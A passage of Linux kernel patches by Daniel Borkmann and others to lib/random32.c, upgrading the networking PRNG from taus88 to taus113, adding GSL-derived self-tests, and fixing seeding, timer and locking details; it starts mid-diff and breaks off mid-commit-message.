-216,6 +225,18 @@ static int __init prandom_reseed(void) /* mix it in */ prandom_u32_state(state); } +out: + spin_unlock_irqrestore(&lock, flags); +} + +void prandom_reseed_late(void) +{ + __prandom_reseed(true); +} + +static int __init prandom_reseed(void) +{ + __prandom_reseed(false); prandom_start_seed_timer(); return 0; } From 67b3dea10039bec89ca1e6000b70990c01ade71f Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Mon, 11 Nov 2013 12:20:35 +0100 Subject: [PATCH 234/365] random32: move rnd_state to linux/random.h struct rnd_state got mistakenly pulled into uapi header. It is not used anywhere and does also not belong there! Commit 5960164fde ("lib/random32: export pseudo-random number generator for modules"), the last commit on rnd_state before it got moved to uapi, says: This patch moves the definition of struct rnd_state and the inline __seed() function to linux/random.h. It renames the static __random32() function to prandom32() and exports it for use in modules. Hence, the structure was moved from lib/random32.c to linux/random.h so that it can be used within modules (FCoE-related code in this case), but not from user space. However, it seems to have been mistakenly moved to uapi header through the uapi script. Since no-one should make use of it from the linux headers, move the structure back to the kernel for internal use, so that it can be modified on demand. Joint work with Hannes Frederic Sowa. Cc: Joe Eykholt Signed-off-by: Daniel Borkmann Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller --- include/linux/random.h | 4 ++++ include/uapi/linux/random.h | 7 ------- 2 files changed, 4 insertions(+), 7 deletions(-) diff --git a/include/linux/random.h b/include/linux/random.h index efec8336549ea..711fb1ce839a0 100644 --- a/include/linux/random.h +++ b/include/linux/random.h @@ -32,6 +32,10 @@ void prandom_bytes(void *buf, int nbytes); void prandom_seed(u32 seed); void prandom_reseed_late(void); +struct rnd_state { + __u32 s1, s2, s3; +}; + u32 prandom_u32_state(struct rnd_state *); void prandom_bytes_state(struct rnd_state *state, void *buf, int nbytes); diff --git a/include/uapi/linux/random.h b/include/uapi/linux/random.h index 7471b5b3b8baa..fff3528a078ff 100644 --- a/include/uapi/linux/random.h +++ b/include/uapi/linux/random.h @@ -40,11 +40,4 @@ struct rand_pool_info { __u32 buf[0]; }; -struct rnd_state { - __u32 s1, s2, s3; -}; - -/* Exported functions */ - - #endif /* _UAPI_LINUX_RANDOM_H */ From 4f3a85e3f62954ea3c06c899802b9accab0a2abe Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Mon, 11 Nov 2013 12:20:36 +0100 Subject: [PATCH 235/365] random32: upgrade taus88 generator to taus113 from errata paper Since we use prandom*() functions quite often in networking code i.e. in UDP port selection, netfilter code, etc, upgrade the PRNG from Pierre L'Ecuyer's original paper "Maximally Equidistributed Combined Tausworthe Generators", Mathematics of Computation, 65, 213 (1996), 203--213 to the version published in his errata paper [1]. The Tausworthe generator is a maximally-equidistributed generator, that is fast and has good statistical properties [1]. The version presented there upgrades the 3 state LFSR to a 4 state LFSR with increased periodicity from about 2^88 to 2^113. The algorithm is presented in [1] by the very same author who also designed the original algorithm in [2]. Also, by increasing the state, we make it a bit harder for attackers to "guess" the PRNGs internal state. See also discussion in [3]. Now, as we use this sort of weak initialization discussed in [3] only between core_initcall() until late_initcall() time [*] for prandom32*() users, namely in prandom_init(), it is less relevant from late_initcall() onwards as we overwrite seeds through prandom_reseed() anyways with a seed source of higher entropy, that is, get_random_bytes(). In other words, a exhaustive keysearch of 96 bit would be needed. Now, with the help of this patch, this state-search increases further to 128 bit. Initialization needs to make sure that s1 > 1, s2 > 7, s3 > 15, s4 > 127. taus88 and taus113 algorithm is also part of GSL. I added a test case in the next patch to verify internal behaviour of this patch with GSL and ran tests with the dieharder 3.31.1 RNG test suite: $ dieharder -g 052 -a -m 10 -s 1 -S 4137730333 #taus88 $ dieharder -g 054 -a -m 10 -s 1 -S 4137730333 #taus113 With this seed configuration, in order to compare both, we get the following differences: algorithm taus88 taus113 rands/second [**] 1.61e+08 1.37e+08 sts_serial(4, 1st run) WEAK PASSED sts_serial(9, 2nd run) WEAK PASSED rgb_lagged_sum(31) WEAK PASSED We took out diehard_sums test as according to the authors it is considered broken and unusable [4]. Despite that and the slight decrease in performance (which is acceptable), taus113 here passes all 113 tests (only rgb_minimum_distance_5 in WEAK, the rest PASSED). In general, taus/taus113 is considered "very good" by the authors of dieharder [5]. The papers [1][2] states a single warm-up step is sufficient by running quicktaus once on each state to ensure proper initialization of ~s_{0}: Our selection of (s) according to Table 1 of [1] row 1 holds the condition L - k <= r - s, that is, (32 32 32 32) - (31 29 28 25) <= (25 27 15 22) - (18 2 7 13) with r = k - q and q = (6 2 13 3) as also stated by the paper. So according to [2] we are safe with one round of quicktaus for initialization. However we decided to include the warm-up phase of the PRNG as done in GSL in every case as a safety net. We also use the warm up phase to make the output of the RNG easier to verify by the GSL output. In prandom_init(), we also mix random_get_entropy() into it, just like drivers/char/random.c does it, jiffies ^ random_get_entropy(). random-get_entropy() is get_cycles(). xor is entropy preserving so it is fine if it is not implemented by some architectures. Note, this PRNG is *not* used for cryptography in the kernel, but rather as a fast PRNG for various randomizations i.e. in the networking code, or elsewhere for debugging purposes, for example. [*]: In order to generate some "sort of pseduo-randomness", since get_random_bytes() is not yet available for us, we use jiffies and initialize states s1 - s3 with a simple linear congruential generator (LCG), that is x <- x * 69069; and derive s2, s3, from the 32bit initialization from s1. So the above quote from [3] accounts only for the time from core to late initcall, not afterwards. [**] Single threaded run on MacBook Air w/ Intel Core i5-3317U [1] http://www.iro.umontreal.ca/~lecuyer/myftp/papers/tausme2.ps [2] http://www.iro.umontreal.ca/~lecuyer/myftp/papers/tausme.ps [3] http://thread.gmane.org/gmane.comp.encryption.general/12103/ [4] http://code.google.com/p/dieharder/source/browse/trunk/libdieharder/diehard_sums.c?spec=svn490&r=490#20 [5] http://www.phy.duke.edu/~rgb/General/dieharder.php Joint work with Hannes Frederic Sowa. Cc: Florian Weimer Cc: Theodore Ts'o Signed-off-by: Daniel Borkmann Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller --- include/linux/random.h | 11 +++--- lib/random32.c | 80 ++++++++++++++++++++++++------------------ 2 files changed, 52 insertions(+), 39 deletions(-) diff --git a/include/linux/random.h b/include/linux/random.h index 711fb1ce839a0..af0d829b10210 100644 --- a/include/linux/random.h +++ b/include/linux/random.h @@ -33,10 +33,10 @@ void prandom_seed(u32 seed); void prandom_reseed_late(void); struct rnd_state { - __u32 s1, s2, s3; + __u32 s1, s2, s3, s4; }; -u32 prandom_u32_state(struct rnd_state *); +u32 prandom_u32_state(struct rnd_state *state); void prandom_bytes_state(struct rnd_state *state, void *buf, int nbytes); /* @@ -56,9 +56,10 @@ static inline void prandom_seed_state(struct rnd_state *state, u64 seed) { u32 i = (seed >> 32) ^ (seed << 10) ^ seed; - state->s1 = __seed(i, 2); - state->s2 = __seed(i, 8); - state->s3 = __seed(i, 16); + state->s1 = __seed(i, 2U); + state->s2 = __seed(i, 8U); + state->s3 = __seed(i, 16U); + state->s4 = __seed(i, 128U); } #ifdef CONFIG_ARCH_RANDOM diff --git a/lib/random32.c b/lib/random32.c index 9f2f2fb03dfe8..27adb753180f3 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -2,19 +2,19 @@ This is a maximally equidistributed combined Tausworthe generator based on code from GNU Scientific Library 1.5 (30 Jun 2004) - x_n = (s1_n ^ s2_n ^ s3_n) + lfsr113 version: - s1_{n+1} = (((s1_n & 4294967294) <<12) ^ (((s1_n <<13) ^ s1_n) >>19)) - s2_{n+1} = (((s2_n & 4294967288) << 4) ^ (((s2_n << 2) ^ s2_n) >>25)) - s3_{n+1} = (((s3_n & 4294967280) <<17) ^ (((s3_n << 3) ^ s3_n) >>11)) + x_n = (s1_n ^ s2_n ^ s3_n ^ s4_n) - The period of this generator is about 2^88. + s1_{n+1} = (((s1_n & 4294967294) << 18) ^ (((s1_n << 6) ^ s1_n) >> 13)) + s2_{n+1} = (((s2_n & 4294967288) << 2) ^ (((s2_n << 2) ^ s2_n) >> 27)) + s3_{n+1} = (((s3_n & 4294967280) << 7) ^ (((s3_n << 13) ^ s3_n) >> 21)) + s4_{n+1} = (((s4_n & 4294967168) << 13) ^ (((s4_n << 3) ^ s4_n) >> 12)) - From: P. L'Ecuyer, "Maximally Equidistributed Combined Tausworthe - Generators", Mathematics of Computation, 65, 213 (1996), 203--213. - - This is available on the net from L'Ecuyer's home page, + The period of this generator is about 2^113 (see erratum paper). + From: P. L'Ecuyer, "Maximally Equidistributed Combined Tausworthe + Generators", Mathematics of Computation, 65, 213 (1996), 203--213: http://www.iro.umontreal.ca/~lecuyer/myftp/papers/tausme.ps ftp://ftp.iro.umontreal.ca/pub/simulation/lecuyer/papers/tausme.ps @@ -29,7 +29,7 @@ that paper.) This affects the seeding procedure by imposing the requirement - s1 > 1, s2 > 7, s3 > 15. + s1 > 1, s2 > 7, s3 > 15, s4 > 127. */ @@ -52,11 +52,12 @@ u32 prandom_u32_state(struct rnd_state *state) { #define TAUSWORTHE(s,a,b,c,d) ((s&c)<>b) - state->s1 = TAUSWORTHE(state->s1, 13, 19, 4294967294UL, 12); - state->s2 = TAUSWORTHE(state->s2, 2, 25, 4294967288UL, 4); - state->s3 = TAUSWORTHE(state->s3, 3, 11, 4294967280UL, 17); + state->s1 = TAUSWORTHE(state->s1, 6U, 13U, 4294967294U, 18U); + state->s2 = TAUSWORTHE(state->s2, 2U, 27U, 4294967288U, 2U); + state->s3 = TAUSWORTHE(state->s3, 13U, 21U, 4294967280U, 7U); + state->s4 = TAUSWORTHE(state->s4, 3U, 12U, 4294967168U, 13U); - return (state->s1 ^ state->s2 ^ state->s3); + return (state->s1 ^ state->s2 ^ state->s3 ^ state->s4); } EXPORT_SYMBOL(prandom_u32_state); @@ -126,6 +127,21 @@ void prandom_bytes(void *buf, int bytes) } EXPORT_SYMBOL(prandom_bytes); +static void prandom_warmup(struct rnd_state *state) +{ + /* Calling RNG ten times to satify recurrence condition */ + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); + prandom_u32_state(state); +} + /** * prandom_seed - add entropy to pseudo random number generator * @seed: seed value @@ -141,8 +157,9 @@ void prandom_seed(u32 entropy) */ for_each_possible_cpu (i) { struct rnd_state *state = &per_cpu(net_rand_state, i); - state->s1 = __seed(state->s1 ^ entropy, 2); - prandom_u32_state(state); + + state->s1 = __seed(state->s1 ^ entropy, 2U); + prandom_warmup(state); } } EXPORT_SYMBOL(prandom_seed); @@ -158,18 +175,13 @@ static int __init prandom_init(void) for_each_possible_cpu(i) { struct rnd_state *state = &per_cpu(net_rand_state,i); -#define LCG(x) ((x) * 69069) /* super-duper LCG */ - state->s1 = __seed(LCG(i + jiffies), 2); - state->s2 = __seed(LCG(state->s1), 8); - state->s3 = __seed(LCG(state->s2), 16); - - /* "warm it up" */ - prandom_u32_state(state); - prandom_u32_state(state); - prandom_u32_state(state); - prandom_u32_state(state); - prandom_u32_state(state); - prandom_u32_state(state); +#define LCG(x) ((x) * 69069U) /* super-duper LCG */ + state->s1 = __seed(LCG((i + jiffies) ^ random_get_entropy()), 2U); + state->s2 = __seed(LCG(state->s1), 8U); + state->s3 = __seed(LCG(state->s2), 16U); + state->s4 = __seed(LCG(state->s3), 128U); + + prandom_warmup(state); } return 0; } @@ -215,15 +227,15 @@ static void __prandom_reseed(bool late) for_each_possible_cpu(i) { struct rnd_state *state = &per_cpu(net_rand_state,i); - u32 seeds[3]; + u32 seeds[4]; get_random_bytes(&seeds, sizeof(seeds)); - state->s1 = __seed(seeds[0], 2); - state->s2 = __seed(seeds[1], 8); - state->s3 = __seed(seeds[2], 16); + state->s1 = __seed(seeds[0], 2U); + state->s2 = __seed(seeds[1], 8U); + state->s3 = __seed(seeds[2], 16U); + state->s4 = __seed(seeds[3], 128U); - /* mix it in */ - prandom_u32_state(state); + prandom_warmup(state); } out: spin_unlock_irqrestore(&lock, flags); From e696ceee69c65026e3c877e1854257cbb3a1da4a Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Mon, 11 Nov 2013 12:20:37 +0100 Subject: [PATCH 236/365] random32: add test cases for taus113 implementation We generated a battery of 100 test cases from GSL taus113 implemention and compare the results from a particular seed and a particular iteration with our implementation in the kernel. We have verified on 32 and 64 bit machines that our taus113 kernel implementation gives same results as GSL taus113 implementation: [ 0.147370] prandom: seed boundary self test passed [ 0.148078] prandom: 100 self tests passed This is a Kconfig option that is disabled on default, just like the crc32 init selftests in order to not unnecessary slow down boot process. We also refactored out prandom_seed_very_weak() as it's now used in multiple places in order to reduce redundant code. GSL code we used for generating test cases: int i, j; srand(time(NULL)); for (i = 0; i < 100; ++i) { int iteration = 500 + (rand() % 500); gsl_rng_default_seed = rand() + 1; gsl_rng *r = gsl_rng_alloc(gsl_rng_taus113); printf("\t{ %lu, ", gsl_rng_default_seed); for (j = 0; j < iteration - 1; ++j) gsl_rng_get(r); printf("%u, %lu },\n", iteration, gsl_rng_get(r)); gsl_rng_free(r); } Joint work with Hannes Frederic Sowa. Cc: Florian Weimer Cc: Theodore Ts'o Signed-off-by: Daniel Borkmann Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller --- lib/Kconfig | 7 ++ lib/random32.c | 195 +++++++++++++++++++++++++++++++++++++++++++++++-- 2 files changed, 196 insertions(+), 6 deletions(-) diff --git a/lib/Kconfig b/lib/Kconfig index de6699a55e9d5..86fc19bb422d5 100644 --- a/lib/Kconfig +++ b/lib/Kconfig @@ -174,6 +174,13 @@ config AUDIT_GENERIC depends on AUDIT && !AUDIT_ARCH default y +config RANDOM32_SELFTEST + bool "PRNG perform self test on init" + default n + help + This option enables the 32 bit PRNG library functions to perform a + self test on initialization. + # # compression support is select'ed if needed # diff --git a/lib/random32.c b/lib/random32.c index 27adb753180f3..82da4f4c3489e 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -38,6 +38,11 @@ #include #include #include +#include + +#ifdef CONFIG_RANDOM32_SELFTEST +static void __init prandom_state_selftest(void); +#endif static DEFINE_PER_CPU(struct rnd_state, net_rand_state); @@ -142,6 +147,23 @@ static void prandom_warmup(struct rnd_state *state) prandom_u32_state(state); } +static void prandom_seed_very_weak(struct rnd_state *state, u32 seed) +{ + /* Note: This sort of seeding is ONLY used in test cases and + * during boot at the time from core_initcall until late_initcall + * as we don't have a stronger entropy source available yet. + * After late_initcall, we reseed entire state, we have to (!), + * otherwise an attacker just needs to search 32 bit space to + * probe for our internal 128 bit state if he knows a couple + * of prandom32 outputs! + */ +#define LCG(x) ((x) * 69069U) /* super-duper LCG */ + state->s1 = __seed(LCG(seed), 2U); + state->s2 = __seed(LCG(state->s1), 8U); + state->s3 = __seed(LCG(state->s2), 16U); + state->s4 = __seed(LCG(state->s3), 128U); +} + /** * prandom_seed - add entropy to pseudo random number generator * @seed: seed value @@ -172,15 +194,14 @@ static int __init prandom_init(void) { int i; +#ifdef CONFIG_RANDOM32_SELFTEST + prandom_state_selftest(); +#endif + for_each_possible_cpu(i) { struct rnd_state *state = &per_cpu(net_rand_state,i); -#define LCG(x) ((x) * 69069U) /* super-duper LCG */ - state->s1 = __seed(LCG((i + jiffies) ^ random_get_entropy()), 2U); - state->s2 = __seed(LCG(state->s1), 8U); - state->s3 = __seed(LCG(state->s2), 16U); - state->s4 = __seed(LCG(state->s3), 128U); - + prandom_seed_very_weak(state, (i + jiffies) ^ random_get_entropy()); prandom_warmup(state); } return 0; @@ -253,3 +274,165 @@ static int __init prandom_reseed(void) return 0; } late_initcall(prandom_reseed); + +#ifdef CONFIG_RANDOM32_SELFTEST +static struct prandom_test1 { + u32 seed; + u32 result; +} test1[] = { + { 1U, 3484351685U }, + { 2U, 2623130059U }, + { 3U, 3125133893U }, + { 4U, 984847254U }, +}; + +static struct prandom_test2 { + u32 seed; + u32 iteration; + u32 result; +} test2[] = { + /* Test cases against taus113 from GSL library. */ + { 931557656U, 959U, 2975593782U }, + { 1339693295U, 876U, 3887776532U }, + { 1545556285U, 961U, 1615538833U }, + { 601730776U, 723U, 1776162651U }, + { 1027516047U, 687U, 511983079U }, + { 416526298U, 700U, 916156552U }, + { 1395522032U, 652U, 2222063676U }, + { 366221443U, 617U, 2992857763U }, + { 1539836965U, 714U, 3783265725U }, + { 556206671U, 994U, 799626459U }, + { 684907218U, 799U, 367789491U }, + { 2121230701U, 931U, 2115467001U }, + { 1668516451U, 644U, 3620590685U }, + { 768046066U, 883U, 2034077390U }, + { 1989159136U, 833U, 1195767305U }, + { 536585145U, 996U, 3577259204U }, + { 1008129373U, 642U, 1478080776U }, + { 1740775604U, 939U, 1264980372U }, + { 1967883163U, 508U, 10734624U }, + { 1923019697U, 730U, 3821419629U }, + { 442079932U, 560U, 3440032343U }, + { 1961302714U, 845U, 841962572U }, + { 2030205964U, 962U, 1325144227U }, + { 1160407529U, 507U, 240940858U }, + { 635482502U, 779U, 4200489746U }, + { 1252788931U, 699U, 867195434U }, + { 1961817131U, 719U, 668237657U }, + { 1071468216U, 983U, 917876630U }, + { 1281848367U, 932U, 1003100039U }, + { 582537119U, 780U, 1127273778U }, + { 1973672777U, 853U, 1071368872U }, + { 1896756996U, 762U, 1127851055U }, + { 847917054U, 500U, 1717499075U }, + { 1240520510U, 951U, 2849576657U }, + { 1685071682U, 567U, 1961810396U }, + { 1516232129U, 557U, 3173877U }, + { 1208118903U, 612U, 1613145022U }, + { 1817269927U, 693U, 4279122573U }, + { 1510091701U, 717U, 638191229U }, + { 365916850U, 807U, 600424314U }, + { 399324359U, 702U, 1803598116U }, + { 1318480274U, 779U, 2074237022U }, + { 697758115U, 840U, 1483639402U }, + { 1696507773U, 840U, 577415447U }, + { 2081979121U, 981U, 3041486449U }, + { 955646687U, 742U, 3846494357U }, + { 1250683506U, 749U, 836419859U }, + { 595003102U, 534U, 366794109U }, + { 47485338U, 558U, 3521120834U }, + { 619433479U, 610U, 3991783875U }, + { 704096520U, 518U, 4139493852U }, + { 1712224984U, 606U, 2393312003U }, + { 1318233152U, 922U, 3880361134U }, + { 855572992U, 761U, 1472974787U }, + { 64721421U, 703U, 683860550U }, + { 678931758U, 840U, 380616043U }, + { 692711973U, 778U, 1382361947U }, + { 677703619U, 530U, 2826914161U }, + { 92393223U, 586U, 1522128471U }, + { 1222592920U, 743U, 3466726667U }, + { 358288986U, 695U, 1091956998U }, + { 1935056945U, 958U, 514864477U }, + { 735675993U, 990U, 1294239989U }, + { 1560089402U, 897U, 2238551287U }, + { 70616361U, 829U, 22483098U }, + { 368234700U, 731U, 2913875084U }, + { 20221190U, 879U, 1564152970U }, + { 539444654U, 682U, 1835141259U }, + { 1314987297U, 840U, 1801114136U }, + { 2019295544U, 645U, 3286438930U }, + { 469023838U, 716U, 1637918202U }, + { 1843754496U, 653U, 2562092152U }, + { 400672036U, 809U, 4264212785U }, + { 404722249U, 965U, 2704116999U }, + { 600702209U, 758U, 584979986U }, + { 519953954U, 667U, 2574436237U }, + { 1658071126U, 694U, 2214569490U }, + { 420480037U, 749U, 3430010866U }, + { 690103647U, 969U, 3700758083U }, + { 1029424799U, 937U, 3787746841U }, + { 2012608669U, 506U, 3362628973U }, + { 1535432887U, 998U, 42610943U }, + { 1330635533U, 857U, 3040806504U }, + { 1223800550U, 539U, 3954229517U }, + { 1322411537U, 680U, 3223250324U }, + { 1877847898U, 945U, 2915147143U }, + { 1646356099U, 874U, 965988280U }, + { 805687536U, 744U, 4032277920U }, + { 1948093210U, 633U, 1346597684U }, + { 392609744U, 783U, 1636083295U }, + { 690241304U, 770U, 1201031298U }, + { 1360302965U, 696U, 1665394461U }, + { 1220090946U, 780U, 1316922812U }, + { 447092251U, 500U, 3438743375U }, + { 1613868791U, 592U, 828546883U }, + { 523430951U, 548U, 2552392304U }, + { 726692899U, 810U, 1656872867U }, + { 1364340021U, 836U, 3710513486U }, + { 1986257729U, 931U, 935013962U }, + { 407983964U, 921U, 728767059U }, +}; + +static void __init prandom_state_selftest(void) +{ + int i, j, errors = 0, runs = 0; + bool error = false; + + for (i = 0; i < ARRAY_SIZE(test1); i++) { + struct rnd_state state; + + prandom_seed_very_weak(&state, test1[i].seed); + prandom_warmup(&state); + + if (test1[i].result != prandom_u32_state(&state)) + error = true; + } + + if (error) + pr_warn("prandom: seed boundary self test failed\n"); + else + pr_info("prandom: seed boundary self test passed\n"); + + for (i = 0; i < ARRAY_SIZE(test2); i++) { + struct rnd_state state; + + prandom_seed_very_weak(&state, test2[i].seed); + prandom_warmup(&state); + + for (j = 0; j < test2[i].iteration - 1; j++) + prandom_u32_state(&state); + + if (test2[i].result != prandom_u32_state(&state)) + errors++; + + runs++; + cond_resched(); + } + + if (errors) + pr_warn("prandom: %d/%d self tests failed\n", errors, runs); + else + pr_info("prandom: %d self tests passed\n", runs); +} +#endif From 2ee6861fc061cfa18bf2e61ddabe3f65937c5d25 Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Tue, 12 Nov 2013 23:45:41 +0100 Subject: [PATCH 237/365] random32: add __init prefix to prandom_start_seed_timer We only call that in functions annotated with __init, so add __init prefix in prandom_start_seed_timer() as well, so that the kernel can make use of this hint and we can possibly free up resources after it's usage. And since it's an internal function rename it to __prandom_start_seed_timer(). Signed-off-by: Daniel Borkmann Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller --- lib/random32.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/random32.c b/lib/random32.c index 82da4f4c3489e..4f9d5dffc5549 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -222,7 +222,7 @@ static void __prandom_timer(unsigned long dontcare) add_timer(&seed_timer); } -static void prandom_start_seed_timer(void) +static void __init __prandom_start_seed_timer(void) { set_timer_slack(&seed_timer, HZ); seed_timer.expires = jiffies + 40 * HZ; @@ -270,7 +270,7 @@ void prandom_reseed_late(void) static int __init prandom_reseed(void) { __prandom_reseed(false); - prandom_start_seed_timer(); + __prandom_start_seed_timer(); return 0; } late_initcall(prandom_reseed); From 2ca6670552a3e1e2550a08fd81443cfbfed824d9 Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Tue, 12 Nov 2013 23:45:42 +0100 Subject: [PATCH 238/365] random32: use msecs_to_jiffies for reseed timer Use msecs_to_jiffies, for these calculations as different HZ considerations are taken into account for conversion of the timer shot, and also it makes the code more readable. Signed-off-by: Daniel Borkmann Signed-off-by: Hannes Frederic Sowa Signed-off-by: David S. Miller --- lib/random32.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/random32.c b/lib/random32.c index 4f9d5dffc5549..1e5b2df442916 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -214,18 +214,22 @@ static DEFINE_TIMER(seed_timer, __prandom_timer, 0, 0); static void __prandom_timer(unsigned long dontcare) { u32 entropy; + unsigned long expires; get_random_bytes(&entropy, sizeof(entropy)); prandom_seed(entropy); + /* reseed every ~60 seconds, in [40 .. 80) interval with slack */ - seed_timer.expires = jiffies + (40 * HZ + (prandom_u32() % (40 * HZ))); + expires = 40 + (prandom_u32() % 40); + seed_timer.expires = jiffies + msecs_to_jiffies(expires * MSEC_PER_SEC); + add_timer(&seed_timer); } static void __init __prandom_start_seed_timer(void) { set_timer_slack(&seed_timer, HZ); - seed_timer.expires = jiffies + 40 * HZ; + seed_timer.expires = jiffies + msecs_to_jiffies(40 * MSEC_PER_SEC); add_timer(&seed_timer); } From 1690b2ccf226baadcb098663a492d168b98aa23e Mon Sep 17 00:00:00 2001 From: Sasha Levin Date: Fri, 28 Mar 2014 17:38:42 +0100 Subject: [PATCH 239/365] random32: avoid attempt to late reseed if in the middle of seeding Commit 4af712e8df ("random32: add prandom_reseed_late() and call when nonblocking pool becomes initialized") has added a late reseed stage that happens as soon as the nonblocking pool is marked as initialized. This fails in the case that the nonblocking pool gets initialized during __prandom_reseed()'s call to get_random_bytes(). In that case we'd double back into __prandom_reseed() in an attempt to do a late reseed - deadlocking on 'lock' early on in the boot process. Instead, just avoid even waiting to do a reseed if a reseed is already occuring. Fixes: 4af712e8df99 ("random32: add prandom_reseed_late() and call when nonblocking pool becomes initialized") Signed-off-by: Sasha Levin Acked-by: Hannes Frederic Sowa Signed-off-by: Daniel Borkmann Signed-off-by: David S. Miller --- lib/random32.c | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/random32.c b/lib/random32.c index 1e5b2df442916..6148967787000 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -244,8 +244,19 @@ static void __prandom_reseed(bool late) static bool latch = false; static DEFINE_SPINLOCK(lock); + /* Asking for random bytes might result in bytes getting + * moved into the nonblocking pool and thus marking it + * as initialized. In this case we would double back into + * this function and attempt to do a late reseed. + * Ignore the pointless attempt to reseed again if we're + * already waiting for bytes when the nonblocking pool + * got initialized. + */ + /* only allow initial seeding (late == false) once */ - spin_lock_irqsave(&lock, flags); + if (!spin_trylock_irqsave(&lock, flags)) + return; + if (latch && !late) goto out; latch = true; From ebd1bbccfa76e58fc6b376eacc28b2fdaa512f77 Mon Sep 17 00:00:00 2001 From: Daniel Borkmann Date: Thu, 3 Apr 2014 14:49:08 -0700 Subject: [PATCH 240/365] lib/random32.c: minor cleanups and kdoc fix These are just some very minor and misc cleanups in the PRNG. In prandom_u32() we store the result in an unsigned long which is unnecessary as it should be u32 instead that we get from prandom_u32_state(). prandom_bytes_state()'s comment is in kdoc format, so change it into such as it's done everywhere else. Also, use the normal comment style for the header comment. Last but not least for readability, add some newlines. Signed-off-by: Daniel Borkmann Cc: Joe Perches Signed-off-by: Andrew Morton Signed-off-by: Linus Torvalds --- lib/random32.c | 76 ++++++++++++++++++++++++++------------------------ 1 file changed, 39 insertions(+), 37 deletions(-) diff --git a/lib/random32.c b/lib/random32.c index 6148967787000..fa5da61ce7ade 100644 --- a/lib/random32.c +++ b/lib/random32.c @@ -1,37 +1,35 @@ /* - This is a maximally equidistributed combined Tausworthe generator - based on code from GNU Scientific Library 1.5 (30 Jun 2004) - - lfsr113 version: - - x_n = (s1_n ^ s2_n ^ s3_n ^ s4_n) - - s1_{n+1} = (((s1_n & 4294967294) << 18) ^ (((s1_n << 6) ^ s1_n) >> 13)) - s2_{n+1} = (((s2_n & 4294967288) << 2) ^ (((s2_n << 2) ^ s2_n) >> 27)) - s3_{n+1} = (((s3_n & 4294967280) << 7) ^ (((s3_n << 13) ^ s3_n) >> 21)) - s4_{n+1} = (((s4_n & 4294967168) << 13) ^ (((s4_n << 3) ^ s4_n) >> 12)) - - The period of this generator is about 2^113 (see erratum paper). - - From: P. L'Ecuyer, "Maximally Equidistributed Combined Tausworthe - Generators", Mathematics of Computation, 65, 213 (1996), 203--213: - http://www.iro.umontreal.ca/~lecuyer/myftp/papers/tausme.ps - ftp://ftp.iro.umontreal.ca/pub/simulation/lecuyer/papers/tausme.ps - - There is an erratum in the paper "Tables of Maximally - Equidistributed Combined LFSR Generators", Mathematics of - Computation, 68, 225 (1999), 261--269: - http://www.iro.umontreal.ca/~lecuyer/myftp/papers/tausme2.ps - - ... the k_j most significant bits of z_j must be non- - zero, for each j. (Note: this restriction also applies to the - computer code given in [4], but was mistakenly not mentioned in - that paper.) - - This affects the seeding procedure by imposing the requirement - s1 > 1, s2 > 7, s3 > 15, s4 > 127. - -*/ + * This is a maximally equidistributed combined Tausworthe generator + * based on code from GNU Scientific Library 1.5 (30 Jun 2004) + * + * lfsr113 version: + * + * x_n = (s1_n ^ s2_n ^ s3_n ^ s4_n) + * + * s1_{n+1} = (((s1_n & 4294967294) << 18) ^ (((s1_n << 6) ^ s1_n) >> 13)) + * s2_{n+1} = (((s2_n & 4294967288) << 2) ^ (((s2_n << 2) ^ s2_n) >> 27)) + * s3_{n+1} = (((s3_n & 4294967280) << 7) ^ (((s3_n << 13) ^ s3_n) >> 21)) + * s4_{n+1} = (((s4_n & 4294967168) << 13) ^ (((s4_n << 3) ^ s4_n) >> 12)) + * + * The period of this generator is about 2^113 (see erratum paper). + * + * From: P. L'Ecuyer, "Maximally Equidistributed Combined Tausworthe + * Generators", Mathematics of Computation, 65, 213 (1996), 203--213: + * http://www.iro.umontreal.ca/~lecuyer/myftp/papers/tausme.ps + * ftp://ftp.iro.umontreal.ca/pub/simulation/lecuyer/papers/tausme.ps + * + * There is an erratum in the paper "Tables of Maximally Equidistributed + * Combined LFSR Generators", Mathematics of Computation, 68, 225 (1999), + * 261--269: http://www.iro.umontreal.ca/~lecuyer/myftp/papers/tausme2.ps + * + * ... the k_j most significant bits of z_j must be non-zero, + * for each j. (Note: this restriction also applies to the + * computer code given in [4], but was mistakenly not mentioned + * in that paper.) + * + * This affects the seeding procedure by imposing the requirement + * s1 > 1, s2 > 7, s3 > 15, s4 > 127. + */ #include #include @@ -75,15 +73,17 @@ EXPORT_SYMBOL(prandom_u32_state); */ u32 prandom_u32(void) { - unsigned long r; struct rnd_state *state = &get_cpu_var(net_rand_state); - r = prandom_u32_state(state); + u32 res; + + res = prandom_u32_state(state); put_cpu_var(state); - return r; + + return res; } EXPORT_SYMBOL(prandom_u32); -/* +/** * prandom_bytes_state - get the requested number of pseudo-random bytes * * @state: pointer to state structure holding seeded state. @@ -204,6 +204,7 @@ static int __init prandom_init(void) prandom_seed_very_weak(state, (i + jiffies) ^ random_get_entropy()); prandom_warmup(state); } + return 0; } core_initcall(prandom_init); @@ -259,6 +260,7 @@ static void __prandom_reseed(bool late) if (latch && !late) goto out; + latch = true; for_each_possible_cpu(i) { From 99ee2e80d50aeb69e638d7a8b02b988c5f32fb46 Mon Sep 17 00:00:00 2001 From: Hannes Frederic Sowa Date: Mon, 28 Jul 2014 14:01:38 +0200 Subject: [PATCH 241/365] random32: mix in entropy from core to late initcall Currently, we have a 3-stage seeding process in 